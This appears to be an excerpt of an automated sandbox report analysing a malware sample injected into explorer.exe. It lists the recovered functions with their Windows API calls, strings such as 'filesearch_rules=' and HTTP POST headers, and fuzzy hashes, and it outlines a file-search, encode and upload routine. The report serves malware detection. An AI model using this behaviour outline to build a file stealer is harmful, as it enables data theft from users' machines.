
Similarity

API ID: Path$CombineFileFind$Heaplstrcat$AllocateCloseFirstNextProcessRemoveSpeclstrcmpi
String ID: *.*
API String ID: 1316406203-438819550
Opcode ID: de5107fe2358f862d634beae506849bc148115a8ccda488e74d1d59d0a9915e8
Instruction ID: dee8e29754ca9ab939309a6bafc06bf8fc0d70bc3d3172e623525624c997e414
Opcode Fuzzy Hash: de5107fe2358f862d634beae506849bc148115a8ccda488e74d1d59d0a9915e8
Instruction Fuzzy Hash: 2F41AD34212345ABC718EF24DC84BAEB7E8FB49250F04491DE95697282DB39E9518B50

Function 030C2240 Relevance: 4.6, APIs: 3, Instructions: 68
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030C2066: PathCombineW.SHLWAPI(?,033D3FE8,00000000,00000000,?,030C2262,030DBA98,?,00000000,033D3FE8), ref: 030C2088

FindFirstFileW.KERNEL32(?,?,030DBA98,?,00000000,033D3FE8), ref: 030C2278
FindNextFileW.KERNEL32(00000000,?), ref: 030C22F9
FindClose.KERNEL32(00000000), ref: 030C2304

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Find$File$CloseCombineFirstNextPath
String ID:
API String ID: 2248441852-0
Opcode ID: f316f64bd51b9d29f0d9508eac49b21464a0748791f006bc4304c1d531372ea6
Instruction ID: 2ee15f2019f2fbc5eb8a85caa0fff83ff12e4ec552fa593065ec9c8aebc30db4
Opcode Fuzzy Hash: f316f64bd51b9d29f0d9508eac49b21464a0748791f006bc4304c1d531372ea6
Instruction Fuzzy Hash: 8D112431602259AACF20FB69DD48EFEF7FDAF94200F0805AEEC05D2454DF348A95CA94

Function 030C1F82 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030C11C4: VirtualQuery.KERNEL32(033D3FE8,030C1019,0000001C,030C1019,00000000,030C1CEB,?,?), ref: 030C11D1

RtlMoveMemory.NTDLL(00000000,00000001,00000363), ref: 030C1FA6
NtUnmapViewOfSection.NTDLL(000000FF,00000001), ref: 030C1FAF

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: 71e1d98cd2a2530b351418474a0b02026edc12848a436dc3c948f22b0c39fa8c
Instruction ID: cd6b76df7626c35c217ff847770fa3119cce679e28aebf6a2c9e2d2eaf18e20b
Opcode Fuzzy Hash: 71e1d98cd2a2530b351418474a0b02026edc12848a436dc3c948f22b0c39fa8c
Instruction Fuzzy Hash: AAE09235427390ABC668F770AC58A9E2BDCAB862A1F10852CF8158A0C7CB39844182A0

Function 030C1D9B Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030C1000: GetProcessHeap.KERNEL32(00000008,00000208,030C1AB2,?,?), ref: 030C1003
Part of subcall function 030C1000: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 030C100A

wsprintfA.USER32 ref: 030C1DF6

Part of subcall function 030C1185: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 030C118F
Part of subcall function 030C1185: MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,00040745,030C1E0A), ref: 030C11A1

StrStrA.SHLWAPI(00000000,filesearch_rules=), ref: 030C1E1C
StrStrA.SHLWAPI(-00000011,|:|), ref: 030C1E35
RtlMoveMemory.NTDLL(00000000,-00000011,00000000), ref: 030C1E60
RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 030C1E69
RtlZeroMemory.NTDLL(00000000,00000104), ref: 030C1E94
StrChrA.SHLWAPI(00000000,0000002C), ref: 030C1E9D
RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 030C1EAE
RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 030C1ED8
RtlZeroMemory.NTDLL(00040744), ref: 030C1F5B
RtlZeroMemory.NTDLL(00040744), ref: 030C1F6C
Sleep.KERNEL32(000927C0), ref: 030C1F77

Strings

%s%s, xrefs: 030C1DF0
filesearch_rules=, xrefs: 030C1E16
|:|, xrefs: 030C1E2C

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Memory$MoveZero$FileHeap$AllocateComputeCrc32MappingOpenProcessSleepViewwsprintf
String ID: %s%s$filesearch_rules=$|:|
API String ID: 1853911042-3453313731
Opcode ID: b43ef6cb3e200dce3cc93e63aaa7b689868934f183745dddd75c265256cf5db5
Instruction ID: e143cc2b0cdd4f3fab148fbd91ac3bd40f888b232af5730322b68400370a450b
Opcode Fuzzy Hash: b43ef6cb3e200dce3cc93e63aaa7b689868934f183745dddd75c265256cf5db5
Instruction Fuzzy Hash: 2F41A574627381AFD314FF65EC88A2E7BE6EB85780714441CED015F28ADF789811CB61

Function 030C2110 Relevance: 13.6, APIs: 9, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030C2066: PathCombineW.SHLWAPI(?,033D3FE8,00000000,00000000,?,030C2262,030DBA98,?,00000000,033D3FE8), ref: 030C2088

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?), ref: 030C2156
CloseHandle.KERNEL32(00000000), ref: 030C2162
_memset.LIBCMT ref: 030C217C

Part of subcall function 030C20C1: FindFirstFileW.KERNEL32(?,?), ref: 030C20D6
Part of subcall function 030C20C1: FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 030C20EE
Part of subcall function 030C20C1: FileTimeToDosDateTime.KERNEL32(?,?), ref: 030C20FD
Part of subcall function 030C20C1: FindClose.KERNEL32(00000000,?,?,?), ref: 030C2104

Part of subcall function 030C2018: lstrlenW.KERNEL32 ref: 030C2022
Part of subcall function 030C2018: _malloc.LIBCMT ref: 030C203F

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?), ref: 030C21C6
_malloc.LIBCMT ref: 030C21D4

Part of subcall function 030CAE3B: __FF_MSGBANNER.LIBCMT ref: 030CAE52
Part of subcall function 030CAE3B: __NMSG_WRITE.LIBCMT ref: 030CAE59
Part of subcall function 030CAE3B: RtlAllocateHeap.NTDLL(033D0000,00000000,00000001), ref: 030CAE7E

ReadFile.KERNEL32(00000000,00000000,0000FFFF,?,00000000), ref: 030C21ED
_free.LIBCMT ref: 030C2212
CloseHandle.KERNEL32(00000000), ref: 030C2219
_free.LIBCMT ref: 030C222F

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: File$Time$Close$CreateFindHandle_free_malloc$AllocateCombineDateFirstHeapLocalPathRead_memsetlstrlen
String ID:
API String ID: 2641817564-0
Opcode ID: e438cb3ae2cfbb95b75cdf38b1583de5702c6bb82e893a01bf1ef25e5e4a68fe
Instruction ID: 9cceee276ca67effefa0152d7d8b8133f3224fd15d07b19a5763234924c556d3
Opcode Fuzzy Hash: e438cb3ae2cfbb95b75cdf38b1583de5702c6bb82e893a01bf1ef25e5e4a68fe
Instruction Fuzzy Hash: CC31E475612385ABCA20EB29DC48E9F77ECFFC9710F10492CFD55A7180EA34DA15CAA1

Function 030C1342 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030C1000: GetProcessHeap.KERNEL32(00000008,00000208,030C1AB2,?,?), ref: 030C1003
Part of subcall function 030C1000: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 030C100A

Part of subcall function 030C106C: lstrlen.KERNEL32 ref: 030C1074
Part of subcall function 030C106C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001), ref: 030C1086

Part of subcall function 030C12B2: RtlZeroMemory.NTDLL(?,00000018), ref: 030C12C4

RtlZeroMemory.NTDLL(?,0000003C), ref: 030C13D1
wsprintfW.USER32 ref: 030C14C8
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 030C15A6

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 030C150A
Accept: */*Referer: %S, xrefs: 030C14BE
POST, xrefs: 030C1476

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: f633c9ce83a800dc79abd365651df1994c075575c95e0c8dafc2628ce7be00cf
Instruction ID: 774b565f9cd9ba8ef9834e8501ef7be0d31701f50fc54be089ba357dfcee4ffe
Opcode Fuzzy Hash: f633c9ce83a800dc79abd365651df1994c075575c95e0c8dafc2628ce7be00cf
Instruction Fuzzy Hash: 6E81997520A381AFD714EF69C884A6FBBE9FF89244F14092DF946C7292DB74C900CB52

Function 030E5AEA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

to initialize the CRT more than once.This indicates a bug in your application., xrefs: 030E5B4C

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030E3000.00000040.80000000.00040000.00000000.sdmp, Offset: 030E3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30e3000_explorer.jbxd

Similarity

API ID:
String ID: to initialize the CRT more than once.This indicates a bug in your application.
API String ID: 0-2233211119
Opcode ID: 21bc480e10ff5060338bbbfd81e1a0136e81fd4fa35cdbb5a6e910d2053669de
Instruction ID: d75bb23d1d3da989a296f04b02f35cfd3738348f4ea22c0e5ecff1e95e59e667
Opcode Fuzzy Hash: 21bc480e10ff5060338bbbfd81e1a0136e81fd4fa35cdbb5a6e910d2053669de
Instruction Fuzzy Hash: 0F512871B063515FD720CA78CCD06A5B7D4EB43229B1C0F79D5E1CB3C2E7A4940A87A4

Function 030C32B9 Relevance: 4.9, APIs: 3, Instructions: 389
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 136ab7899a87cf6f1173380ee5e717d99eb8f284b58f0559d8126294b22d9cbe
Instruction ID: 09e22eeba841edca59f80a22b596de58f41119d11fb6a71d8b64b63e102612a0
Opcode Fuzzy Hash: 136ab7899a87cf6f1173380ee5e717d99eb8f284b58f0559d8126294b22d9cbe
Instruction Fuzzy Hash: 33D1EB79622B419BCB71DF28C544BAFB3EAEF84750B14895CE69A5B780DF34E8418B10

Function 030C37B0 Relevance: 4.6, APIs: 3, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,?,?,00000000,?,?,00000000), ref: 030C37ED
_malloc.LIBCMT ref: 030C3818
wcsncpy.NTDLL ref: 030C3823

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: CreateFile_mallocwcsncpy
String ID:
API String ID: 394119516-0
Opcode ID: dca97c5332efca55d76623fc1a039b9346291ea93d47d35607d11964aafa900b
Instruction ID: 3798fca96a218fdba8f0a8a6cd49915aa27fc74a73ea6d928271184b097854d1
Opcode Fuzzy Hash: dca97c5332efca55d76623fc1a039b9346291ea93d47d35607d11964aafa900b
Instruction Fuzzy Hash: 3411707A912259BBCF20EBA5CC48DDFFBBDFF49250B0485A9A51497100DB359614CBE0

Function 030C16EA Relevance: 4.5, APIs: 3, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,E8014E8D), ref: 030C1704
CloseHandle.KERNEL32(?,?,?,?,?,E8014E8D), ref: 030C1754
DeleteFileW.KERNEL32(00000000), ref: 030C175B

Part of subcall function 030C1221: CryptBinaryToStringA.CRYPT32(?,?,00000001,00000000,?), ref: 030C123B
Part of subcall function 030C1221: CryptBinaryToStringA.CRYPT32(?,?,00000001,00000000,?,?,?,00000001,00000000,?), ref: 030C125B

Part of subcall function 030C15F1: lstrlen.KERNEL32(?), ref: 030C1608
Part of subcall function 030C15F1: lstrcat.KERNEL32(00000002,033F852B), ref: 030C163A
Part of subcall function 030C15F1: lstrcat.KERNEL32(0000004E,?), ref: 030C1656

Part of subcall function 030C105D: VirtualFree.KERNELBASE(?,00000000,00008000), ref: 030C1065

Part of subcall function 030C1011: GetProcessHeap.KERNEL32(00000000,033D3FE8,00000000,030C1CEB,?,?), ref: 030C1020
Part of subcall function 030C1011: RtlFreeHeap.NTDLL(00000000,?,?), ref: 030C1027

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: BinaryCryptFileFreeHeapStringlstrcat$CloseDeleteHandleProcessReadVirtuallstrlen
String ID:
API String ID: 2581074353-0
Opcode ID: f4e5a8dda59ed339abe186aaaf881b8bfc1cff3eaebe1023a5bf97cb907cdc74
Instruction ID: 3c6ec8dcb280a865b25a55fcc3d8fe100f421f2a1874865af65edfb4d6c3e98f
Opcode Fuzzy Hash: f4e5a8dda59ed339abe186aaaf881b8bfc1cff3eaebe1023a5bf97cb907cdc74
Instruction Fuzzy Hash: B1014E3A7232805BC71CEB31AC549BF7B9DCFD2211B14051CEC028A143DE2DC40987E1

Function 030C176F Relevance: 4.5, APIs: 3, Instructions: 25
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,0000001E), ref: 030C1786
lstrlenW.KERNEL32(033D3FE8), ref: 030C1794
SHFileOperationW.SHELL32(?), ref: 030C17AE

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: FileMemoryOperationZerolstrlen
String ID:
API String ID: 2791248854-0
Opcode ID: aea8685c03e6404f5ccf3fd3f0bb6c272cdca0cdc2f606ea4ce22bdead8fdcf8
Instruction ID: adba008adeb5911d84fe6308865f4d594625c9e57c8342e4ccb8388e2fce061b
Opcode Fuzzy Hash: aea8685c03e6404f5ccf3fd3f0bb6c272cdca0cdc2f606ea4ce22bdead8fdcf8
Instruction Fuzzy Hash: 6FF0C0718132189BDB11EF98D9497DEB7FCEB0D705F000156ED05AB144D77969208BE5

Function 030C1041 Relevance: 3.8, APIs: 3, Instructions: 36
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000), ref: 030C1056
lstrlen.KERNEL32(?,00000000,00000000,?,00000025,030C1C25,?,?), ref: 030C109D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,?,00000025,030C1C25,?,?), ref: 030C10BA

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: AllocByteCharMultiVirtualWidelstrlen
String ID:
API String ID: 1936347974-0
Opcode ID: b8c23af5acfebe8b942ba4e0a1ebb1198e458300b02cec315c3cc44fd9d76091
Instruction ID: d2e0e87bf312aa83d3563facaa139ef1a8efa247e1239660bd7d4b418d261abe
Opcode Fuzzy Hash: b8c23af5acfebe8b942ba4e0a1ebb1198e458300b02cec315c3cc44fd9d76091
Instruction Fuzzy Hash: BCF027353132827AEA086B265C4CF9F2F5CDBC1746F200018B9019A042CAD4680545A0

Function 030C27A9 Relevance: 3.4, APIs: 2, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 030C27F5
_malloc.LIBCMT ref: 030C290A

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _malloc_strlen
String ID:
API String ID: 1889909783-0
Opcode ID: 6e8f00cb2e9fb69e4b55014dac20dec2b877d8e6bbc91019dace5275909309d4
Instruction ID: df1f9d5018ca08d67f10a7f889c7bd25bf85da38e1ff796052a3db8a50ae3e5e
Opcode Fuzzy Hash: 6e8f00cb2e9fb69e4b55014dac20dec2b877d8e6bbc91019dace5275909309d4
Instruction Fuzzy Hash: ADE1B375611741ABDF21DF68C941BEEB7E9BFC4710F148C1DEA9A9BAC0DB70A8418B10

Function 030C268D Relevance: 3.1, APIs: 2, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 030C2728

Part of subcall function 030CAE3B: __FF_MSGBANNER.LIBCMT ref: 030CAE52
Part of subcall function 030CAE3B: __NMSG_WRITE.LIBCMT ref: 030CAE59
Part of subcall function 030CAE3B: RtlAllocateHeap.NTDLL(033D0000,00000000,00000001), ref: 030CAE7E

_memmove.LIBCMT ref: 030C2754

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: AllocateHeap_malloc_memmove
String ID:
API String ID: 3795339465-0
Opcode ID: 90531af6d4d711a65fab11b70f7bd40444ce687cdca4a91a65f1bd7e24fdf871
Instruction ID: b302aae98a6ad2e978cede6ec1e572a107fb5d44f0cc01ee3c5741fd488cabd4
Opcode Fuzzy Hash: 90531af6d4d711a65fab11b70f7bd40444ce687cdca4a91a65f1bd7e24fdf871
Instruction Fuzzy Hash: E7213275D1126D9BCF61DF95CC80ADEB7B8BB58200F4006EEE489B6140DBB456C18FA0

Function 030C3956 Relevance: 3.0, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,?), ref: 030C3973
GetLastError.KERNEL32(?,?,?,?), ref: 030C3980

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 4aa8c2fb9ae5572bae8bdd882d5c17f034f7d2a43e3c8f0ad6d9c76268b55470
Instruction ID: 8dda4979775298590bb8e814a7c80a43041be84dfab3b2e5c6ab37e840a773dd
Opcode Fuzzy Hash: 4aa8c2fb9ae5572bae8bdd882d5c17f034f7d2a43e3c8f0ad6d9c76268b55470
Instruction Fuzzy Hash: 19F0907A612719AB8714DFA9EC8896EFBE8EF89361B10826DFC19C3250D7318D10C690

Function 030C390E Relevance: 3.0, APIs: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00000000,00000000), ref: 030C3931
GetLastError.KERNEL32 ref: 030C393B

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 3a28400f73176a4ef73f41c9cf24d2bcb2cdddfd89ce904356a4a750257f3d8a
Instruction ID: fc7cd046bbc8e5a1390f30ff4c3b1752588a3f9a5ca481c7f3e12c9fed10f33b
Opcode Fuzzy Hash: 3a28400f73176a4ef73f41c9cf24d2bcb2cdddfd89ce904356a4a750257f3d8a
Instruction Fuzzy Hash: BBF01C36522218EFDB24EF54D845BAEBBE8EF08B11F54849DFC41D2140D775D920DB91

Function 030C1185 Relevance: 3.0, APIs: 2, Instructions: 23fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 030C118F
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,00040745,030C1E0A), ref: 030C11A1

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: faf25a983b09be5259fbe95d90fbfc50df15e74e9736559a3ba98e076aaaa385
Instruction ID: cac79ce7134a8898442644871679371d38872f9606d5c8f59509a657a3c3e59d
Opcode Fuzzy Hash: faf25a983b09be5259fbe95d90fbfc50df15e74e9736559a3ba98e076aaaa385
Instruction Fuzzy Hash: F2D017327472317BE3346E6A6C0CF87AEDDDF87AE2B054025B809D3040D6648820C2F0

Function 030C1011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030C11C4: VirtualQuery.KERNEL32(033D3FE8,030C1019,0000001C,030C1019,00000000,030C1CEB,?,?), ref: 030C11D1

GetProcessHeap.KERNEL32(00000000,033D3FE8,00000000,030C1CEB,?,?), ref: 030C1020
RtlFreeHeap.NTDLL(00000000,?,?), ref: 030C1027

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: 15febf8e192f3d44d7adad32099306b971c23027ffd1763eca9237094ae9579d
Instruction ID: b1dfaf737bbfc01caa86c321579bcaa5ab84a652352d2c5bd38e338b0d5da3fc
Opcode Fuzzy Hash: 15febf8e192f3d44d7adad32099306b971c23027ffd1763eca9237094ae9579d
Instruction Fuzzy Hash: E6C08C3501726062C96477B93C0CBCE2B888F0A222F040045BC0096086CBA8884082E0

Function 030C1000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000208,030C1AB2,?,?), ref: 030C1003
RtlAllocateHeap.NTDLL(00000000,?,?), ref: 030C100A

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 0f1fd9192677981261561424ad6462a5d7bc6d8e6a0433862006948d99ad7b9b
Instruction ID: acaceca205b77acb706823d68aebf5dcf152344d01398018253f779e0a9d1a9d
Opcode Fuzzy Hash: 0f1fd9192677981261561424ad6462a5d7bc6d8e6a0433862006948d99ad7b9b
Instruction Fuzzy Hash: 8DA012744031006BED0037E89C0DA053768B781302F0000007D01810489B7810108720

Function 030C2EC5 Relevance: 1.8, APIs: 1, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1d6af184ef74ec9f9ca0bfafc0a46b455d5dfee8d381fa6f9ab63f968e1cb24
Instruction ID: 4d07a59e5fcd0de73b1b55f0d7e2fc696c1cc4047840a0af94b4b634169ab415
Opcode Fuzzy Hash: a1d6af184ef74ec9f9ca0bfafc0a46b455d5dfee8d381fa6f9ab63f968e1cb24
Instruction Fuzzy Hash: A8C11639721742BBDB68DB78C840BFCF3A9BB44310F14866DE969976C0DB74A891C780

Function 030C12B2 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 030C12C4

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: e8dba5697146ab89f0d1af918dbaf72b2c80743de980c5a0a0cc7a99a276b3dd
Instruction ID: e3fc181945b690ee07f859d039ba41d88b63d02ad51f73e6fa47f4aa7df437c8
Opcode Fuzzy Hash: e8dba5697146ab89f0d1af918dbaf72b2c80743de980c5a0a0cc7a99a276b3dd
Instruction Fuzzy Hash: 931106B5A02209AFDB14DFA9E884ABEBBFCFB09355F144029FD55E3240D7349911CB60

Function 030C2451 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 030C248E

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 7de9f648921173826f1cec72498fc538409b94be3370991270c2076eec18a3bb
Instruction ID: a3b6902937c36583a4d903aae879b7b8b058a29b231e4966d2f2fc8ca4b62e8e
Opcode Fuzzy Hash: 7de9f648921173826f1cec72498fc538409b94be3370991270c2076eec18a3bb
Instruction Fuzzy Hash: EFF0D173A12218ABCF04CF98EC409EEB7ADEF84B00F188529BC08D7605D230CA0086E0

Function 030C1A6A Relevance: 1.5, APIs: 1, Instructions: 15threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL(00000000), ref: 030C1A8F

Part of subcall function 030C18E0: lstrcatW.KERNEL32(00000208,00000000,00000000,00000000,?,00000000), ref: 030C192C
Part of subcall function 030C18E0: PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 030C193C
Part of subcall function 030C18E0: FindFirstFileExW.KERNEL32(00000000,00000001,?,00000000,00000000,00000002,?,00000000), ref: 030C195E
Part of subcall function 030C18E0: lstrcmpiW.KERNEL32(?,?,00000000), ref: 030C1995
Part of subcall function 030C18E0: PathCombineW.SHLWAPI(00000410,00000208,?,?,?,00000000), ref: 030C19BC
Part of subcall function 030C18E0: FindNextFileW.KERNEL32(00000000,?,?,00000000), ref: 030C1A42
Part of subcall function 030C18E0: FindClose.KERNEL32(00000000,?,00000000), ref: 030C1A51

Part of subcall function 030C1011: GetProcessHeap.KERNEL32(00000000,033D3FE8,00000000,030C1CEB,?,?), ref: 030C1020
Part of subcall function 030C1011: RtlFreeHeap.NTDLL(00000000,?,?), ref: 030C1027

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Find$CombineFileHeapPath$CloseExitFirstFreeNextProcessThreadUserlstrcatlstrcmpi
String ID:
API String ID: 3936785612-0
Opcode ID: 3707bbb394a5e9ed30ed5f01371028b94571a23e00b6600177c7c625865b29d3
Instruction ID: 0d61fd1a18487a789475a247336096568df637d0acc6f283e5249277fa034ab3
Opcode Fuzzy Hash: 3707bbb394a5e9ed30ed5f01371028b94571a23e00b6600177c7c625865b29d3
Instruction Fuzzy Hash: 4ED09E346276A0A7D66DFF608454B5DB6956F81B41F28040CD8415B1D7CB785881D7D2

Function 030C7604 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 030C760F

Part of subcall function 030CAE3B: __FF_MSGBANNER.LIBCMT ref: 030CAE52
Part of subcall function 030CAE3B: __NMSG_WRITE.LIBCMT ref: 030CAE59
Part of subcall function 030CAE3B: RtlAllocateHeap.NTDLL(033D0000,00000000,00000001), ref: 030CAE7E

Memory Dump Source

